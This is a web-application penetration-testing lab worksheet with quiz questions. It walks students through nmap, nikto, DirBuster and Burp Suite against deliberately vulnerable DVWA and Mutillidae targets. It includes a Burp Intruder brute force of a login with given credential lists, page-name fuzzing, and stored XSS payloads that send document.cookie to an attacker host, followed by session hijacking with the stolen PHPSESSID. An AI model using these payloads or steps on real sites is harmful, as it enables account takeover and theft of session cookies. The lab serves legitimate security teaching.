Web Application Testing

Press this button to ready your machine for running the virtual machine targets. If your machine is reset or you reboot then you may have to press this button again.

Note that this target can take (quite) a few minutes to boot, as it has many processes running many services.

Document the details of the Kali Ethernet Interface, eth0. This interface links Kali with the outside world:
IP:
mac:
gateway:

The target can take 5 minutes to warm up. Press the test button to see if it is running fully before continuing.

Target 1 lies somewhere in 192.168.1.1 - 192.168.1.254. This time use "ip route show" and find out the device name on your machine which would be used to handle packets going to target 1.

Target network device:

What is your machine's IP number on the target network?

Your IP:

Use nmap to sweep the target network, and identify the IP address of target 1.

Target IP:

Port scan the target, limiting your portscan to only the default Web TCP ports of 80 and 8080. As part of this do an application version scan.

Number of interested ports:
Web Server product?: None Running Apache IIS NGINX Tiny httpd httpd
Web Server version?: Apache 2.2.1 Apache 2.2.4 Apache 2.2.6 Apache 2.2.8 Apache 2.3.9 Apache 3.0 Apache 3.1 IIS7.1 IIS7.2 IIS7.3 IIS7.4 NGINX 0.4 NGINX 0.5 NGINX 0.6 NGINX 0.8 NGINX 1.0

nmap achieved this by sending additional information to the webserver, rather than just testing what port is open.

Repeat the above experiment, but in a second window/ssh session capture the traffic being sent to perform the version identification.

To do this use tcpdump. Use numeric capture. Use the interface identified above as being the one which would handle the target's packets. Use ASCII mode (-A) and increase the snap limit to maximum (-s 0). To make it easier to see the traffic of interest, use a pcap filter of "dst ... and port 80" where "..." is the ip of the target.

What was sent by nmap to perform this check? HEAD / HTTP/1.0 HEAD / HTTP/1.1 HEAD / GET / HTTP/1.0 GET / HTTP/1.1 GET / OPTIONS / HTTP/1.0 OPTIONS / HTTP/1.1 OPTIONS / GET and HEAD / HTTP/1.0 GET and HEAD / HTTP/1.1 GET and HEAD / OPTIONS and GET / HTTP/1.0 OPTIONS and GET / HTTP/1.1 OPTIONS and GET / GET,HEAD, and OPTIONS / HTTP/1.0 GET,HEAD, and OPTIONS / HTTP/1.1 GET,HEAD, and OPTIONS /

Now manually fingerprint the target, using netcat or telnet, e.g.

nc TARGETIP TARGETPORT
HEAD / HTTP/1.0

What is the "Server" set to (Case sensitive):
Hinted server-side application technology: Perl Python Java Applets Java Servlets ubuntu Orangelets v5.10 security extensions Javascript Amplets PHP PuSH

Repeat the HEAD, but this time use HTTP/1.1. What is the result this time?

Response error code:

The error was due to HTTP/1.1 requiring a "Host", i.e. a virtual host name in the request. Make up a name, e.g. "unknown" and redo the query.

Using the virtual host field set to "unknown" redo the query and save the output to a file called "/root/vh". netcat likes to wait for a few seconds in a 1.1 version request, so you may like to introduce "-q 1", which shortens the waittime to 1 second.

Nikto is an advance web server security scanner. To see the options in Kali just do at the command line:

nikto -Help

nikto -host TARGETIP

What does nikto suggest about the Apache version? Apache is up to date Apache should be updated to 1.3.42 Apache should be updated to 2.0.64 Apache should be at least 2.2.22 Apache should be at least 2.4.9 Apache should be at most 2.2.22 Apache should be at most 2.4.9 Apache should be PHP/5.2.4-2ubuntu5.10 Apache is a final version

How many vulnerabilities has Nikto returned from the Offensive Security Vulnerability Db (OSVDB)? You must count the same vulnerability multiple times if it is listed more than once.

Vulnerabilities:

Research the OSVDB-877 vulnerability. What CERT vulnerability note does this relate to?

VU:

Consider the information exposed by OSVDB-3233. In terms of the target, examine this file and perform a risk assessment of the contents. From this, what is the exact kernel version running here? (The entry is called "System", and is formatted "2.0.0-0-text").

System value:

Use DirBuster to scan target 1. It can be found in
Applications > Kali Linux > Web Applications > Web Crawlers > dirbuster
Run this utility.

Figure 1: Dirbuster

Now run dirbuster using the directory-list-small on target 1.

Figure 2: Location of directory list small

Even using the small list the scan may take some time. Change the output to the tree view tab. A directory "test" is found quite quickly. What directory is found in that directory?

directory in "test":

Open that directory within "test". What file can be found there? The response is space and case sensitive.

File below test:

Burpsuite is in Applications>Kali Linux>Web Applications>Web Application Proxies>burpsuite.

Figure: Intercepting proxy

Run iceweasel, and set it to use burpsuite as a proxy using the Manual proxy configuration. Edit>Preferences and select Advanced and Network. In Connection click Settings. Use a Manual proxy configuration of an HTTP Proxy, using port 8080 on 127.0.0.1. Now visit http://192.168.1.1/

When you try to go to the target, it hangs until in Burp Suide you select Proxy, and click FORWARD. Once you do that the response is given back to the browser, and the Target tab site map is filled in a little more. It then starts to learn about the site.

Using the Target tab, what is the "Host" set to in the "GET /" request.
Host in GET request:

In the Scope of Target, add 192.168.1.1 to the scope. You can now automatically spider some links. Try selecting "dvwa" and right click selecting spider from this branch. If asked about forms just click ignore forms.

After about a minute (it takes much longer than that to run completely) it should have spidered far enough to see /dvwa/login.php (You can tell it has been spidered when the information on that link includes a Length). Go to the Spider tab and click on Spider Is Running to pause the spider.

What does the site map say about the "Pragma:" part of the Response (in raw) of dvwa/login.php? This is to be found in the response headers part of the response.

Warning - while spidering there will be a high load on the target, and it is very slow to respond. PAUSE THE SPIDER once you have the answer and before pressing the check button, as the check will be slowed down by the spider and may fail as a result.

login.php Pragma value:

In your browser log into DVWA. Use the username "admin" and the password "password". Click on DVWA Security and set the script security to low. Once complete, select Brute Force.

Not insert some fake login information, such as username "right" password "wrong". Click login. This login attempt should fail, but Burp Suite will have captured the attempt.

Switch to Burp Suite. In the Site map find dvwa/vulnerabilities/brute. There should be a few entries. Click on each one until you find the one which includes the username and password you used in the GET line (it is also the one with a "tick" in the Params column). Right click in the Raw box (i.e. the one with the HTTP request) and select Send to Intruder.

Switch to the Intruder tab. In this use the Positions tab. The package tries to select the fields of interest, but this time we only need the username and password. Click Clear on the right, then one at a time select the username and password you used in your attempt, clicking on Add each time (e.g. the bit after username= and password=). Change the Attack type to Cluster bomb.

Now celect Payloads. Payload set should be 1 and you need the Simple list. This list is the ones for the first field you selected (the username). Payload set 2 is for the possible passwords. Try adding usernames from the following list:

gordon
david
smithy
frank
john

123456
1234
password
test

This attack only has 20 combinations. Scroll down the list of items and focus on the Length. If one page is a different length from all the others, then this might indicate that this attempt reached a different page from all the rest. Find that attempt. Click on it and view the Response in Render mode. "Welcome to the password protected area...".

What was the successful login attempt here?
username:
password:

Now lets investigate the mutillidae link briefly and demonstrate a little fuzzing.

Switch burp suide intercept on, and with the browser visit http://192.168.1.1/mutillidae/index.php?page=home.php
Forward all the requests.

This part of the site map is controlled by the page variable in the get request. We can (and perhaps you already have) spider this using "spider", but it is possible that some links are secret and not in the normal navigation tree. We can try "fuzzing" a few options and see what turns up...

Refresh the page in the browser, but rather than forwarding the request, right click and send the page to Intruder. Clear the selection in Positions and select only the page= value excluding the ".php", i.e. in this case select only "home", and click Add. Stick with the Sniper attack type.

In Payloads, add a simple list of possible guesses for secret pages. Here are some suggestions:

admin
administrator
accounts
accounting
agent
agents
secret
secretstuff

Once the attack is complete, make sure you can see the whole of the Intruder attack window, and select each line while in the bottom half look at the Render in the Response tab. Length indications may also give you a clue as to which requests were successful.

Which three parameters of the suggested list resulted in discovered pages?
page1:
page2:
page3:
Length information suggests success in this case by:
being equal to the baseline length being around the same as the baseline being significantly smaller than the baseline being significantly bigger than the baseline being a multiple of the baseline size being a SHA512 block size being only related to the byte change incurred by the payload size shift

In DVWA, visit the XSS stored page. Again you should be logged in as admin. Enter a message from "jim", but in the description enter javascript.

<script>alert("watched");</script>

Clear this message by using Setup in dvwa and clicking Create/Reset database.

Logout of admin, and log in with username 1337 and password charley. Again go to the XSS stored button. Now we really want to try and get "1337"'s cookie to be sent to one of our servers. But it is tricky! Ideally we want to do: Create a message from Jim, but this time make the message:

<script>new Image().src="http://192.168.1.254/cookie.php?"+document.cookie;</script>

<script>var h="http://192.168.1.254/";</script>

<script>h=h+"cookie.php";</script>

<script>h=h+"?"+document.cookie;</script>

<script>new Image().src=h;</script>

Now when you visit this page it will request an image from our webserver, but include the current session cookie as a GET parameter. We will use netcat to be the webserver.

nc -l 192.168.1.254 -p 80 > /root/xss

This session cookie is only good enough until the session has ended for some reason. ends the session. To demonstrate this, and while still logged in as "admin", click on the world icon in the iceweasel address line, click more information, view cookies, and Remove All Cookies. Refresh the page and you should be back to the login page.

Now view your /root/xss file, and get the bit of the request which starts PHPSESSID=.... (up to the space). Now in iceweasel, go to Tools>Web Developer>Web Console. This allows you to run your own javascript... Take the PHPSESSID string and substitute it into the following instead of "abcde1234etc". This is all typed into the prompt of the console:

javascript:document.cookie = 'PHPSESSID=abcde1234etc; expires=3600; path=/; domain=192.168.1.1";

Figure: Javascript console setting of the cookie

Now revisit http://192.168.1.1/dvwa/ and you are now admin again. OK so not easy but with the right tools...